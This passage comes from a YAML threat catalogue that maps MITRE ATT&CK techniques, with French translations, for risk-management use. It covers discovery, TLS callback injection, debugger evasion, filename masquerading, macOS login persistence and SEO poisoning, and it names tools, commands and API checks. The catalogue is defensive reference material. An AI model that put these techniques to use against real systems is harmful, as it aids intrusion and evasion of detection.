      Defender for Cloud, and logging services, such as AWS CloudTrail and Google
      Cloud Audit Logs.


      Adversaries may attempt to discover information about the services enabled throughout
      the environment. Azure tools and APIs, such as the Microsoft Graph API and Azure
      Resource Manager API, can enumerate resources and services, including applications,
      management groups, resources and policy definitions, and their relationships
      that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation:
      Azure AD Graph API)


      For example, Stormspotter is an open source tool for enumerating and constructing
      a graph for Azure resources and services, and Pacu is an open source AWS exploitation
      framework that supports several methods for discovering cloud services.(Citation:
      Azure - Stormspotter)(Citation: GitHub Pacu)


      Adversaries may use the information gained to shape follow-on behaviors, such
      as targeting data or credentials from enumerated services or evading identified
      defenses through [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)
      or [Disable or Modify Cloud Logs](https://attack.mitre.org/techniques/T1562/008).

      https://attack.mitre.org/techniques/T1526'
    translations:
      fr:
        name: "D\xE9couverte de services cloud"
        description: "Un adversaire peut tenter d\u2019\xE9num\xE9rer les services\
          \ cloud ex\xE9cut\xE9s sur un syst\xE8me apr\xE8s y avoir acc\xE8s. Ces\
          \ m\xE9thodes peuvent diff\xE9rer de la plate-forme en tant que service\
          \ (PaaS), de l\u2019infrastructure en tant que service (IaaS) ou du logiciel\
          \ en tant que service (SaaS). De nombreux services existent chez les diff\xE9\
          rents fournisseurs de cloud et peuvent inclure l\u2019int\xE9gration continue\
          \ et la livraison continue (CI/CD), les fonctions Lambda, l\u2019ID Entra\
          \ ID, etc. Ils peuvent \xE9galement inclure des services de s\xE9curit\xE9\
          , tels qu\u2019AWS GuardDuty et Microsoft Defender pour le cloud, et des\
          \ services de journalisation, tels qu\u2019AWS CloudTrail et Google Cloud\
          \ Audit Logs.\n\nLes adversaires peuvent tenter de d\xE9couvrir des informations\
          \ sur les services activ\xE9s dans l\u2019ensemble de l\u2019environnement.\
          \ Les outils et API Azure, tels que l\u2019API Microsoft Graph et l\u2019\
          API Azure Resource Manager, peuvent \xE9num\xE9rer les ressources et les\
          \ services, y compris les applications, les groupes d\u2019administration,\
          \ les ressources et les d\xE9finitions de strat\xE9gie, ainsi que leurs\
          \ relations accessibles par une identit\xE9. (R\xE9f\xE9rence : Azure -\
          \ API Resource Manager)(R\xE9f\xE9rence : API Azure AD Graph)\n\nPar exemple,\
          \ Stormspotter est un outil open source permettant d\u2019\xE9num\xE9rer\
          \ et de construire un graphique pour les ressources et les services Azure,\
          \ et Pacu est un cadre d\u2019exploitation AWS open source qui prend en\
          \ charge plusieurs m\xE9thodes de d\xE9couverte des services cloud. (Citation\
          \ : Azur - Stormspotter)(Citation : GitHub Pacu)\n\nLes adversaires peuvent\
          \ utiliser les informations obtenues pour fa\xE7onner des comportements\
          \ ult\xE9rieurs, tels que le ciblage de donn\xE9es ou d\u2019informations\
          \ d\u2019identification \xE0 partir de services \xE9num\xE9r\xE9s ou le\
          \ contournement des d\xE9fenses identifi\xE9es via [D\xE9sactiver ou modifier\
          \ les outils](https://attack.mitre.org/techniques/T1562/001) ou [D\xE9sactiver\
          \ ou modifier les journaux cloud](https://attack.mitre.org/techniques/T1562/008).\n\
          https://attack.mitre.org/techniques/T1526"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1018
    ref_id: T1018
    name: Remote System Discovery
    description: 'Adversaries may attempt to get a listing of other systems by IP
      address, hostname, or other logical identifier on a network that may be used
      for Lateral Movement from the current system. Functionality could exist within
      remote access tools to enable this, but utilities available on the operating
      system could also be used such as  [Ping](https://attack.mitre.org/software/S0097)
      or <code>net view</code> using [Net](https://attack.mitre.org/software/S0039).


      Adversaries may also analyze data from local host files (ex: <code>C:\Windows\System32\Drivers\etc\hosts</code>
      or <code>/etc/hosts</code>) or other passive means (such as local [Arp](https://attack.mitre.org/software/S0099)
      cache entries) in order to discover the presence of remote systems in an environment.


      Adversaries may also target discovery of network infrastructure as well as leverage
      [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands
      on network devices to gather detailed information about systems within a network
      (e.g. <code>show cdp neighbors</code>, <code>show arp</code>).(Citation: US-CERT-TA18-106A)(Citation:
      CISA AR21-126A FIVEHANDS May 2021)

      https://attack.mitre.org/techniques/T1018'
    translations:
      fr:
        name: "D\xE9couverte du syst\xE8me \xE0 distance"
        description: "Les adversaires peuvent tenter d\u2019obtenir une liste d\u2019\
          autres syst\xE8mes par adresse IP, nom d\u2019h\xF4te ou autre identificateur\
          \ logique sur un r\xE9seau qui peut \xEAtre utilis\xE9 pour le mouvement\
          \ lat\xE9ral \xE0 partir du syst\xE8me actuel. Des fonctionnalit\xE9s peuvent\
          \ exister dans les outils d\u2019acc\xE8s \xE0 distance pour permettre cela,\
          \ mais les utilitaires disponibles sur le syst\xE8me d\u2019exploitation\
          \ peuvent \xE9galement \xEAtre utilis\xE9s, tels que [Ping](https://attack.mitre.org/software/S0097)\
          \ ou <code>la vue du r\xE9seau</code> \xE0 l\u2019aide de [Net](https://attack.mitre.org/software/S0039).\n\
          \nLes adversaires peuvent \xE9galement analyser des donn\xE9es provenant\
          \ de fichiers h\xF4tes locaux (par exemple : <code>C\_:\\Windows\\System32\\\
          Drivers\\etc\\hosts</code> ou <code>/etc/hosts</code>) ou d\u2019autres\
          \ moyens passifs (tels que des entr\xE9es de cache locales [Arp](https://attack.mitre.org/software/S0099))\
          \ afin de d\xE9couvrir la pr\xE9sence de syst\xE8mes distants dans un environnement.\n\
          \nLes adversaires peuvent \xE9galement cibler la d\xE9couverte de l\u2019\
          infrastructure r\xE9seau et exploiter les commandes [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)\
          \ sur les p\xE9riph\xE9riques r\xE9seau pour recueillir des informations\
          \ d\xE9taill\xE9es sur les syst\xE8mes au sein d\u2019un r\xE9seau (par\
          \ exemple, <code>afficher les voisins CDP</code>, <code>afficher arp</code>).\
          \ (R\xE9f\xE9rence : US-CERT-TA18-106A)(R\xE9f\xE9rence : CISA AR21-126A\
          \ FIVEHANDS mai 2021)\nhttps://attack.mitre.org/techniques/T1018"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1046
    ref_id: T1046
    name: Network Service Discovery
    description: "Adversaries may attempt to get a listing of services running on\
      \ remote hosts and local network infrastructure devices, including those that\
      \ may be vulnerable to remote software exploitation. Common methods to acquire\
      \ this information include port and/or vulnerability scans using tools that\
      \ are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021)  \
      \ \n\nWithin cloud environments, adversaries may attempt to discover services\
      \ running on other cloud hosts. Additionally, if the cloud environment is connected\
      \ to a on-premises environment, adversaries may be able to identify services\
      \ running on non-cloud systems as well.\n\nWithin macOS environments, adversaries\
      \ may use the native Bonjour application to discover services running on other\
      \ macOS hosts within a network. The Bonjour mDNSResponder daemon automatically\
      \ registers and advertises a host\u2019s registered services on the network.\
      \ For example, adversaries can use a mDNS query (such as <code>dns-sd -B _ssh._tcp\
      \ .</code>) to find other systems broadcasting the ssh service.(Citation: apple\
      \ doco bonjour description)(Citation: macOS APT Activity Bradley)\nhttps://attack.mitre.org/techniques/T1046"
    translations:
      fr:
        name: "D\xE9couverte des services r\xE9seau"
        description: "Les adversaires peuvent tenter d\u2019obtenir une liste de services\
          \ s\u2019ex\xE9cutant sur des h\xF4tes distants et des p\xE9riph\xE9riques\
          \ d\u2019infrastructure r\xE9seau locale, y compris ceux qui peuvent \xEA\
          tre vuln\xE9rables \xE0 l\u2019exploitation de logiciels \xE0 distance.\
          \ Les m\xE9thodes courantes d\u2019acquisition de ces informations comprennent\
          \ l\u2019analyse des ports et/ou des vuln\xE9rabilit\xE9s \xE0 l\u2019aide\
          \ d\u2019outils int\xE9gr\xE9s \xE0 un syst\xE8me. (R\xE9f\xE9rence : CISA\
          \ AR21-126A FIVEHANDS mai 2021)   \n\nDans les environnements cloud, les\
          \ adversaires peuvent tenter de d\xE9couvrir des services s\u2019ex\xE9\
          cutant sur d\u2019autres h\xF4tes cloud. De plus, si l\u2019environnement\
          \ cloud est connect\xE9 \xE0 un environnement sur site, les adversaires\
          \ peuvent \xE9galement \xEAtre en mesure d\u2019identifier les services\
          \ s\u2019ex\xE9cutant sur des syst\xE8mes non cloud.\n\nDans les environnements\
          \ macOS, les adversaires peuvent utiliser l\u2019application native Bonjour\
          \ pour d\xE9couvrir des services s\u2019ex\xE9cutant sur d\u2019autres h\xF4\
          tes macOS au sein d\u2019un r\xE9seau. Le d\xE9mon Bonjour mDNSResponder\
          \ enregistre et annonce automatiquement les services enregistr\xE9s d\u2019\
          un h\xF4te sur le r\xE9seau. Par exemple, les adversaires peuvent utiliser\
          \ une requ\xEAte mDNS (telle que <code>dns-sd -B _ssh._tcp .</code>) pour\
          \ trouver d\u2019autres syst\xE8mes diffusant le service ssh. (Citation\_\
          : apple doco bonjour description)(Citation : Activit\xE9 APT macOS Bradley)\n\
          https://attack.mitre.org/techniques/T1046"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1590.001
    ref_id: T1590.001
    name: Domain Properties
    description: 'Adversaries may gather information about the victim''s network domain(s)
      that can be used during targeting. Information about domains and their properties
      may include a variety of details, including what domain(s) the victim owns as
      well as administrative data (ex: name, registrar, etc.) and more directly actionable
      information such as contacts (email addresses and phone numbers), business addresses,
      and name servers.


      Adversaries may gather this information in various ways, such as direct collection
      actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or
      [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information
      about victim domains and their properties may also be exposed to adversaries
      via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation:
      WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Where third-party
      cloud providers are in use, this information may also be exposed through publicly
      available API endpoints, such as GetUserRealm and autodiscover in Office 365
      environments.(Citation: Azure Active Directory Reconnaisance)(Citation: Office
      265 Azure Domain Availability) Gathering this information may reveal opportunities
      for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596),
      [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or
      [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing
      operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)
      or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)),
      and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).

      https://attack.mitre.org/techniques/T1590/001'
    translations:
      fr:
        name: "Propri\xE9t\xE9s du domaine"
        description: "Les adversaires peuvent recueillir des informations sur le(s)\
          \ domaine(s) du r\xE9seau de la victime qui peuvent \xEAtre utilis\xE9es\
          \ lors du ciblage. Les informations sur les domaines et leurs propri\xE9\
          t\xE9s peuvent inclure divers d\xE9tails, notamment le ou les domaines poss\xE9\
          d\xE9s par la victime, ainsi que des donn\xE9es administratives (par exemple,\
          \ nom, bureau d\u2019enregistrement, etc.) et des informations plus directement\
          \ exploitables telles que les contacts (adresses e-mail et num\xE9ros de\
          \ t\xE9l\xE9phone), les adresses professionnelles et les serveurs de noms.\n\
          \nLes adversaires peuvent collecter ces informations de diff\xE9rentes mani\xE8\
          res, par exemple par le biais d\u2019une [analyse active](https://attack.mitre.org/techniques/T1595)\
          \ ou d\u2019un [hame\xE7onnage pour obtenir des informations](https://attack.mitre.org/techniques/T1598).\
          \ Les informations sur les domaines des victimes et leurs propri\xE9t\xE9\
          s peuvent \xE9galement \xEAtre expos\xE9es \xE0 des adversaires via des\
          \ ensembles de donn\xE9es en ligne ou d\u2019autres ensembles de donn\xE9\
          es accessibles (ex : [WHOIS](https://attack.mitre.org/techniques/T1596/002)).\
          \ (Citation : WHOIS)(Citation : benne \xE0 ordures DNS)(Citation : Circl\
          \ DNS passif) Lorsque des fournisseurs de cloud tiers sont utilis\xE9s,\
          \ ces informations peuvent \xE9galement \xEAtre expos\xE9es via des points\
          \ de terminaison d\u2019API accessibles publiquement, tels que GetUserRealm\
          \ et la d\xE9couverte automatique dans les environnements Office 365. (Citation\
          \ : Azure Active Directory Reconnaisance)(Citation : Disponibilit\xE9 du\
          \ domaine Azure Office 265) La collecte de ces informations peut r\xE9v\xE9\
          ler des opportunit\xE9s pour d\u2019autres formes de reconnaissance (ex\
          \ : [Recherche dans des bases de donn\xE9es techniques ouvertes](https://attack.mitre.org/techniques/T1596),\
          \ [Recherche dans des sites Web/domaines ouverts](https://attack.mitre.org/techniques/T1593),\
          \ ou [Phishing pour obtenir des informations](https://attack.mitre.org/techniques/T1598)),\
          \ l\u2019\xE9tablissement de ressources op\xE9rationnelles (ex : [Acqu\xE9\
          rir l\u2019infrastructure](https://attack.mitre.org/techniques/T1583) ou\
          \ [Compromettre Infrastructure](https://attack.mitre.org/techniques/T1584)),\
          \ et/ou l\u2019acc\xE8s initial (ex : [Phishing](https://attack.mitre.org/techniques/T1566)).\n\
          https://attack.mitre.org/techniques/T1590/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1518
    ref_id: T1518
    name: Software Discovery
    description: 'Adversaries may attempt to get a listing of software and software
      versions that are installed on a system or in a cloud environment. Adversaries
      may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518)
      during automated discovery to shape follow-on behaviors, including whether or
      not the adversary fully infects the target and/or attempts specific actions.


      Such software may be deployed widely across the environment for configuration
      management or security reasons, such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072),
      and may allow adversaries broad access to infect devices or move laterally.


      Adversaries may attempt to enumerate software for a variety of reasons, such
      as figuring out what security measures are present or if the compromised system
      has a version of software that is vulnerable to [Exploitation for Privilege
      Escalation](https://attack.mitre.org/techniques/T1068).

      https://attack.mitre.org/techniques/T1518'
    translations:
      fr:
        name: "D\xE9couverte de logiciels"
        description: "Les adversaires peuvent tenter d\u2019obtenir une liste de logiciels\
          \ et de versions de logiciels install\xE9s sur un syst\xE8me ou dans un\
          \ environnement cloud. Les adversaires peuvent utiliser les informations\
          \ de [Software Discovery](https://attack.mitre.org/techniques/T1518) lors\
          \ de la d\xE9couverte automatis\xE9e pour fa\xE7onner des comportements\
          \ de suivi, notamment si l\u2019adversaire infecte compl\xE8tement la cible\
          \ et/ou tente ou non des actions sp\xE9cifiques.\n\nCes logiciels peuvent\
          \ \xEAtre d\xE9ploy\xE9s \xE0 grande \xE9chelle dans l\u2019environnement\
          \ pour des raisons de gestion de la configuration ou de s\xE9curit\xE9,\
          \ tels que les [Outils de d\xE9ploiement de logiciels](https://attack.mitre.org/techniques/T1072),\
          \ et peuvent permettre \xE0 des adversaires d\u2019acc\xE9der \xE0 large\
          \ \xE9ventail pour infecter les appareils ou se d\xE9placer lat\xE9ralement.\n\
          \nLes adversaires peuvent tenter d\u2019\xE9num\xE9rer des logiciels pour\
          \ diverses raisons, telles que d\xE9terminer quelles mesures de s\xE9curit\xE9\
          \ sont pr\xE9sentes ou si le syst\xE8me compromis dispose d\u2019une version\
          \ du logiciel vuln\xE9rable \xE0 l'[exploitation \xE0 des fins d\u2019\xE9\
          l\xE9vation de privil\xE8ges](https://attack.mitre.org/techniques/T1068).\n\
          https://attack.mitre.org/techniques/T1518"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1538
    ref_id: T1538
    name: Cloud Service Dashboard
    description: 'An adversary may use a cloud service dashboard GUI with stolen credentials
      to gain useful information from an operational cloud environment, such as specific
      services, resources, and features. For example, the GCP Command Center can be
      used to view all assets, findings of potential security risks, and to run additional
      queries, such as finding public IP addresses and open ports.(Citation: Google
      Command Center Dashboard)


      Depending on the configuration of the environment, an adversary may be able
      to enumerate more information via the graphical dashboard than an API. This
      allows the adversary to gain information without making any API requests.

      https://attack.mitre.org/techniques/T1538'
    translations:
      fr:
        name: Tableau de bord du service cloud
        description: "Un adversaire peut utiliser une interface graphique de tableau\
          \ de bord de service cloud avec des informations d\u2019identification vol\xE9\
          es pour obtenir des informations utiles \xE0 partir d\u2019un environnement\
          \ cloud op\xE9rationnel, telles que des services, des ressources et des\
          \ fonctionnalit\xE9s sp\xE9cifiques. Par exemple, le centre de commande\
          \ GCP peut \xEAtre utilis\xE9 pour afficher toutes les ressources, les risques\
          \ de s\xE9curit\xE9 potentiels et pour ex\xE9cuter des requ\xEAtes suppl\xE9\
          mentaires, telles que la recherche d\u2019adresses IP publiques et de ports\
          \ ouverts. (Citation : Tableau de bord du centre de commande Google)\n\n\
          Selon la configuration de l\u2019environnement, un adversaire peut \xEA\
          tre en mesure d\u2019\xE9num\xE9rer plus d\u2019informations via le tableau\
          \ de bord graphique qu\u2019une API. Cela permet \xE0 l\u2019adversaire\
          \ d\u2019obtenir des informations sans effectuer de requ\xEAtes API.\nhttps://attack.mitre.org/techniques/T1538"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1055.005
    ref_id: T1055.005
    name: Thread Local Storage
    description: "Adversaries may inject malicious code into processes via thread\
      \ local storage (TLS) callbacks in order to evade process-based defenses as\
      \ well as possibly elevate privileges. TLS callback injection is a method of\
      \ executing arbitrary code in the address space of a separate live process.\
      \ \n\nTLS callback injection involves manipulating pointers inside a portable\
      \ executable (PE) to redirect a process to malicious code before reaching the\
      \ code's legitimate entry point. TLS callbacks are normally used by the OS to\
      \ setup and/or cleanup data used by threads. Manipulating TLS callbacks may\
      \ be performed by allocating and writing to specific offsets within a process\u2019\
      \ memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055)\
      \ techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation:\
      \ FireEye TLS Nov 2017)\n\nRunning code in the context of another process may\
      \ allow access to the process's memory, system/network resources, and possibly\
      \ elevated privileges. Execution via TLS callback injection may also evade detection\
      \ from security products since the execution is masked under a legitimate process.\n\
      https://attack.mitre.org/techniques/T1055/005"
    translations:
      fr:
        name: "Stockage local d\u2019unit\xE9 d\u2019ex\xE9cution"
        description: "Les adversaires peuvent injecter du code malveillant dans les\
          \ processus via des rappels TLS (Thread Local Storage) afin d\u2019\xE9\
          chapper aux d\xE9fenses bas\xE9es sur les processus et \xE9ventuellement\
          \ d\u2019\xE9lever les privil\xE8ges. L\u2019injection de rappel TLS est\
          \ une m\xE9thode d\u2019ex\xE9cution de code arbitraire dans l\u2019espace\
          \ d\u2019adressage d\u2019un processus en direct distinct. \n\nL\u2019injection\
          \ de rappel TLS consiste \xE0 manipuler des pointeurs \xE0 l\u2019int\xE9\
          rieur d\u2019un ex\xE9cutable portable (PE) pour rediriger un processus\
          \ vers un code malveillant avant d\u2019atteindre le point d\u2019entr\xE9\
          e l\xE9gitime du code. Les rappels TLS sont normalement utilis\xE9s par\
          \ le syst\xE8me d\u2019exploitation pour configurer et/ou nettoyer les donn\xE9\
          es utilis\xE9es par les threads. La manipulation des callbacks TLS peut\
          \ \xEAtre effectu\xE9e en allouant et en \xE9crivant \xE0 des d\xE9calages\
          \ sp\xE9cifiques dans l\u2019espace m\xE9moire d\u2019un processus \xE0\
          \ l\u2019aide d\u2019autres techniques [Process Injection](https://attack.mitre.org/techniques/T1055)\
          \ telles que le [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).\
          \ (Citation : FireEye TLS novembre 2017)\n\nL\u2019ex\xE9cution de code\
          \ dans le contexte d\u2019un autre processus peut permettre d\u2019acc\xE9\
          der \xE0 la m\xE9moire du processus, aux ressources syst\xE8me/r\xE9seau\
          \ et \xE9ventuellement \xE0 des privil\xE8ges \xE9lev\xE9s. L\u2019ex\xE9\
          cution via l\u2019injection de rappel TLS peut \xE9galement \xE9chapper\
          \ \xE0 la d\xE9tection des produits de s\xE9curit\xE9, car l\u2019ex\xE9\
          cution est masqu\xE9e par un processus l\xE9gitime.\nhttps://attack.mitre.org/techniques/T1055/005"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1622
    ref_id: T1622
    name: Debugger Evasion
    description: "Adversaries may employ various means to detect and avoid debuggers.\
      \ Debuggers are typically used by defenders to trace and/or analyze the execution\
      \ of potential malware payloads.(Citation: ProcessHacker Github)\n\nDebugger\
      \ evasion may include changing behaviors based on the results of the checks\
      \ for the presence of artifacts indicative of a debugged environment. Similar\
      \ to [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497),\
      \ if the adversary detects a debugger, they may alter their malware to disengage\
      \ from the victim or conceal the core functions of the implant. They may also\
      \ search for debugger artifacts before dropping secondary or additional payloads.\n\
      \nSpecific checks will vary based on the target and/or adversary, but may involve\
      \ [Native API](https://attack.mitre.org/techniques/T1106) function calls such\
      \ as <code>IsDebuggerPresent()</code> and <code> NtQueryInformationProcess()</code>,\
      \ or manually checking the <code>BeingDebugged</code> flag of the Process Environment\
      \ Block (PEB). Other checks for debugging artifacts may also seek to enumerate\
      \ hardware breakpoints, interrupt assembly opcodes, time checks, or measurements\
      \ if exceptions are raised in the current process (assuming a present debugger\
      \ would \u201Cswallow\u201D or handle the potential error).(Citation: hasherezade\
      \ debug)(Citation: AlKhaser Debug)(Citation: vxunderground debug)\n\nAdversaries\
      \ may use the information learned from these debugger checks during automated\
      \ discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching\
      \ the process or flooding debug logs with meaningless data via messages produced\
      \ by looping [Native API](https://attack.mitre.org/techniques/T1106) function\
      \ calls such as <code>OutputDebugStringW()</code>.(Citation: wardle evilquest\
      \ partii)(Citation: Checkpoint Dridex Jan 2021)\nhttps://attack.mitre.org/techniques/T1622"
    translations:
      fr:
        name: "\xC9vasion du d\xE9bogueur"
        description: "Les adversaires peuvent employer divers moyens pour d\xE9tecter\
          \ et \xE9viter les d\xE9bogueurs. Les d\xE9bogueurs sont g\xE9n\xE9ralement\
          \ utilis\xE9s par les d\xE9fenseurs pour suivre et/ou analyser l\u2019ex\xE9\
          cution de charges utiles de logiciels malveillants potentiels. (Citation\
          \ : ProcessHacker Github)\n\nL\u2019\xE9vasion du d\xE9bogueur peut inclure\
          \ la modification des comportements en fonction des r\xE9sultats des v\xE9\
          rifications pour d\xE9tecter la pr\xE9sence d\u2019artefacts indiquant un\
          \ environnement d\xE9bogu\xE9. \xC0 l\u2019instar de [Virtualization/Sandbox\
          \ Evasion](https://attack.mitre.org/techniques/T1497), si l\u2019adversaire\
          \ d\xE9tecte un d\xE9bogueur, il peut modifier son logiciel malveillant\
          \ pour se d\xE9sengager de la victime ou dissimuler les fonctions essentielles\
          \ de l\u2019implant. Ils peuvent \xE9galement rechercher des artefacts de\
          \ d\xE9bogueur avant de supprimer des charges utiles secondaires ou suppl\xE9\
          mentaires.\n\nLes v\xE9rifications sp\xE9cifiques varient en fonction de\
          \ la cible et/ou de l\u2019adversaire, mais peuvent impliquer des appels\
          \ de fonction [API native](https://attack.mitre.org/techniques/T1106) tels\
          \ que <code>IsDebuggerPresent()</code> et <code> NtQueryInformationProcess()</code>,\
          \ ou la v\xE9rification manuelle de l\u2019indicateur <code>BeingDebugged</code>\
          \ du bloc d\u2019environnement de processus (PEB). D\u2019autres v\xE9rifications\
          \ pour les artefacts de d\xE9bogage peuvent \xE9galement chercher \xE0 \xE9\
          num\xE9rer les points d\u2019arr\xEAt mat\xE9riels, les opcodes d\u2019\
          assemblage d\u2019interruption, les v\xE9rifications temporelles ou les\
          \ mesures si des exceptions sont lev\xE9es dans le processus en cours (en\
          \ supposant qu\u2019un d\xE9bogueur actuel \xAB avalerait \xBB ou g\xE9\
          rerait l\u2019erreur potentielle). (Citation : hasherezade debug)(Citation\
          \ : AlKhaser Debug)(Citation : vxunderground debug)\n\nLes adversaires peuvent\
          \ utiliser les informations apprises \xE0 partir de ces v\xE9rifications\
          \ du d\xE9bogueur lors de la d\xE9couverte automatis\xE9e pour fa\xE7onner\
          \ des comportements ult\xE9rieurs. Les d\xE9bogueurs peuvent \xE9galement\
          \ \xEAtre contourn\xE9s en d\xE9tachant le processus ou en inondant les\
          \ journaux de d\xE9bogage avec des donn\xE9es d\xE9nu\xE9es de sens via\
          \ des messages produits par des appels de fonction [Native API](https://attack.mitre.org/techniques/T1106)\
          \ en boucle tels que <code>OutputDebugStringW().</code> (Citation : wardle\
          \ evilquest partii)(Citation : Checkpoint Dridex janvier 2021)\nhttps://attack.mitre.org/techniques/T1622"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1036.006
    ref_id: T1036.006
    name: Space after Filename
    description: 'Adversaries can hide a program''s true filetype by changing the
      extension of a file. With certain file types (specifically this does not work
      with .app extensions), appending a space to the end of a filename will change
      how the file is processed by the operating system.


      For example, if there is a Mach-O executable file called <code>evil.bin</code>,
      when it is double clicked by a user, it will launch Terminal.app and execute.
      If this file is renamed to <code>evil.txt</code>, then when double clicked by
      a user, it will launch with the default text editing application (not executing
      the binary). However, if the file is renamed to <code>evil.txt </code> (note
      the space at the end), then when double clicked by a user, the true file type
      is determined by the OS and handled appropriately and the binary will be executed
      (Citation: Mac Backdoors are back).


      Adversaries can use this feature to trick users into double clicking benign-looking
      files of any format and ultimately executing something malicious.

      https://attack.mitre.org/techniques/T1036/006'
    translations:
      fr:
        name: "Espace apr\xE8s le nom de fichier"
        description: "Les adversaires peuvent masquer le v\xE9ritable type de fichier\
          \ d\u2019un programme en modifiant l\u2019extension d\u2019un fichier. Avec\
          \ certains types de fichiers (en particulier, cela ne fonctionne pas avec\
          \ les extensions .app), l\u2019ajout d\u2019un espace \xE0 la fin d\u2019\
          un nom de fichier modifiera la fa\xE7on dont le fichier est trait\xE9 par\
          \ le syst\xE8me d\u2019exploitation.\n\nPar exemple, s\u2019il existe un\
          \ fichier ex\xE9cutable Mach-O appel\xE9 <code>evil.bin</code>, lorsqu\u2019\
          il est double-cliqu\xE9 par un utilisateur, il lancera Terminal.app et s\u2019\
          ex\xE9cutera. Si ce fichier est renomm\xE9 <code>en evil.txt</code>, lorsqu\u2019\
          un utilisateur double-clique dessus, il se lance avec l\u2019application\
          \ d\u2019\xE9dition de texte par d\xE9faut (n\u2019ex\xE9cutant pas le binaire).\
          \ Cependant, si le fichier est renomm\xE9 en <code>evil.txt </code> (notez\
          \ l\u2019espace \xE0 la fin), alors lorsqu\u2019un utilisateur double-clique\
          \ dessus, le v\xE9ritable type de fichier est d\xE9termin\xE9 par le syst\xE8\
          me d\u2019exploitation et g\xE9r\xE9 de mani\xE8re appropri\xE9e et le binaire\
          \ sera ex\xE9cut\xE9 (Citation : Les portes d\xE9rob\xE9es Mac sont de retour).\n\
          \nLes adversaires peuvent utiliser cette fonctionnalit\xE9 pour inciter\
          \ les utilisateurs \xE0 double-cliquer sur des fichiers d\u2019apparence\
          \ b\xE9nigne de n\u2019importe quel format et finalement \xE0 ex\xE9cuter\
          \ quelque chose de malveillant.\nhttps://attack.mitre.org/techniques/T1036/006"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1547.007
    ref_id: T1547.007
    name: Re-opened Applications
    description: "Adversaries may modify plist files to automatically run an application\
      \ when a user logs in. When a user logs out or restarts via the macOS Graphical\
      \ User Interface (GUI), a prompt is provided to the user with a checkbox to\
      \ \"Reopen windows when logging back in\".(Citation: Re-Open windows on Mac)\
      \ When selected, all applications currently open are added to a property list\
      \ file named <code>com.apple.loginwindow.[UUID].plist</code> within the <code>~/Library/Preferences/ByHost</code>\
      \ directory.(Citation: Methods of Mac Malware Persistence)(Citation: Wardle\
      \ Persistence Chapter) Applications listed in this file are automatically reopened\
      \ upon the user\u2019s next logon.\n\nAdversaries can establish [Persistence](https://attack.mitre.org/tactics/TA0003)\
      \ by adding a malicious application path to the <code>com.apple.loginwindow.[UUID].plist</code>\
      \ file to execute payloads when a user logs in.\nhttps://attack.mitre.org/techniques/T1547/007"
    translations:
      fr:
        name: Demandes rouvertes
        description: "Les adversaires peuvent modifier les fichiers plist pour ex\xE9\
          cuter automatiquement une application lorsqu\u2019un utilisateur se connecte.\
          \ Lorsqu\u2019un utilisateur se d\xE9connecte ou red\xE9marre via l\u2019\
          interface utilisateur graphique (GUI) de macOS, une invite est fournie \xE0\
          \ l\u2019utilisateur avec une case \xE0 cocher pour \xAB Rouvrir les fen\xEA\
          tres lors de la reconnexion \xBB. (Citation : Rouvrir les fen\xEAtres sur\
          \ Mac) Lorsque cette option est s\xE9lectionn\xE9e, toutes les applications\
          \ actuellement ouvertes sont ajout\xE9es \xE0 un fichier de liste de propri\xE9\
          t\xE9s nomm\xE9 <code>com.apple.loginwindow.[ UUID].plist</code> dans le\
          \ r\xE9pertoire <code>~/Library/Preferences/ByHost</code>. (Citation : M\xE9\
          thodes de persistance des logiciels malveillants Mac)(Citation : chapitre\
          \ sur la persistance de Wardle) Les applications r\xE9pertori\xE9es dans\
          \ ce fichier sont automatiquement rouvertes lors de la prochaine connexion\
          \ de l\u2019utilisateur.\n\nLes adversaires peuvent \xE9tablir la [Persistance](https://attack.mitre.org/tactics/TA0003)\
          \ en ajoutant un chemin d\u2019application malveillant \xE0 la <code>fen\xEA\
          tre com.apple.login.[ UUID].plist</code> pour ex\xE9cuter les charges utiles\
          \ lorsqu\u2019un utilisateur se connecte.\nhttps://attack.mitre.org/techniques/T1547/007"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1608.006
    ref_id: T1608.006
    name: SEO Poisoning
    description: "Adversaries may poison mechanisms that influence search engine optimization\
      \ (SEO) to further lure staged capabilities towards potential victims. Search\
      \ engines typically display results to users based on purchased ads as well\
      \ as the site\u2019s ranking/score/reputation calculated by their web crawlers\
      \ and algorithms.(Citation: Atlas SEO)(Citation: MalwareBytes SEO)\n\nTo help\
      \ facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189),\
      \ adversaries may stage content that explicitly manipulates SEO rankings in\
      \ order to promote sites hosting their malicious payloads (such as [Drive-by\
      \ Target](https://attack.mitre.org/techniques/T1608/004)) within search engines.\
      \ Poisoning SEO rankings may involve various tricks, such as stuffing keywords\
      \ (including in the form of hidden text) into compromised sites. These keywords\
      \ could be related to the interests/browsing habits of the intended victim(s)\
